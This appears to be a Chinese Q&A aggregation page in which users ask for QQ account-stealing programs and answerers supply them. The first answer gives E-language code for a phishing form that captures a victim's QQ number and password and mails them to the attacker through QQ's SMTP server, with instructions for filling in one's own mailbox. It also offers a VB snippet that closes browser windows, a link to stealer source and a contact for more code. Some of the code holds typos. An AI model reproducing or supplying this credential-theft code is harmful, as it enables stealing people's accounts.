本文目录一览：
- 1、求易语言钓鱼代码，QQ邮箱的那种，求大神编写，以893936450这个号码为例子就行啦。感激
- 2、VB盗号代码
- 3、易语言怎样编写盗号代码？
- 4、谁会用易语言制作一个简单的QQ盗号程序
- 5、怎样自己编一套qq盗号程序
- 6、关于用VB制作QQ本地盗号程序的问题
求易语言钓鱼代码，QQ邮箱的那种，求大神编写，以893936450这个号码为例子就行啦。感激
特别简单的哦~
这需要你的QQ号和密码
我现在帮你把代码复制下来，你回去，打开易语言，然后创建两个编辑框和1个按钮就OK~
代码如下：
.版本 2
.支持库 internet
连接发信服务器 (“smtp.qq.com”, 4, “您的QQ邮箱的账号”, “您的QQ邮箱的密码”, )
发送邮件 (“傻瓜送号来啦~~~”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “您的QQ邮箱账号”, , , “您的QQ邮箱账号”, )
您只要把上面的QQ邮箱、密码改成您自己的，就可以钓鱼盗号啦~~
参考资料：自己
VB盗号代码
Option Explicit
Declare Function PostMessage Lib "user32" Alias "postmessagea" (ByVal hwnd As Long, ByVal wmsg As Long, ByVal wparam As Long, ByVal lparam As Long) As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Const wm_close = H10
Public Function killie(ByVal hwnd As Long, ByVal lparam As Long) As Boolean
Dim ClassName As String
Dim str5 As String
Dim len5 As Long, i As Long
str5 = String(255, 0)
len5 = 256
GetClassName hwnd, str5, 256
ClassName = Left(str5, insrt(1, str5, Chr(0)) - 1)
Debug.Print ClassName
If ClassName = "ieframe" Then
PostMessage hwnd, wm_close, 0, 0
End If
killie = True
End Function
一个自定义函数 获取指定句柄de类名 如果是ieframe则向该窗口发送关闭消息
易语言怎样编写盗号代码？
连接发信服务器（这里写参数，...）
发送邮件（这里写参数，...）
连接发信服务器的服务器地址必须是“163.stmp.com”，不能是QQ邮箱 的服务器地址。
谁会用易语言制作一个简单的QQ盗号程序
这个简单，利用邮箱发信收信的原理嘛，我做了一个实例，（源码）你自己下载看看就明白了，超级简单，就几段代码
kxtop.com/thread-162-1-1.html
怎样自己编一套qq盗号程序
如果是想研究编程之类的请去报课程或者自己看书学习。
一开口就问盗号程序，加上句无恶意就可以了吗？
真心想研究的没基础也研究不了，自学去吧。
此问题已举报。
关于用VB制作QQ本地盗号程序的问题
哦，这个啊，可以用label控件的啊，点一下弹出，再点下收进去
要源代码加我 505833944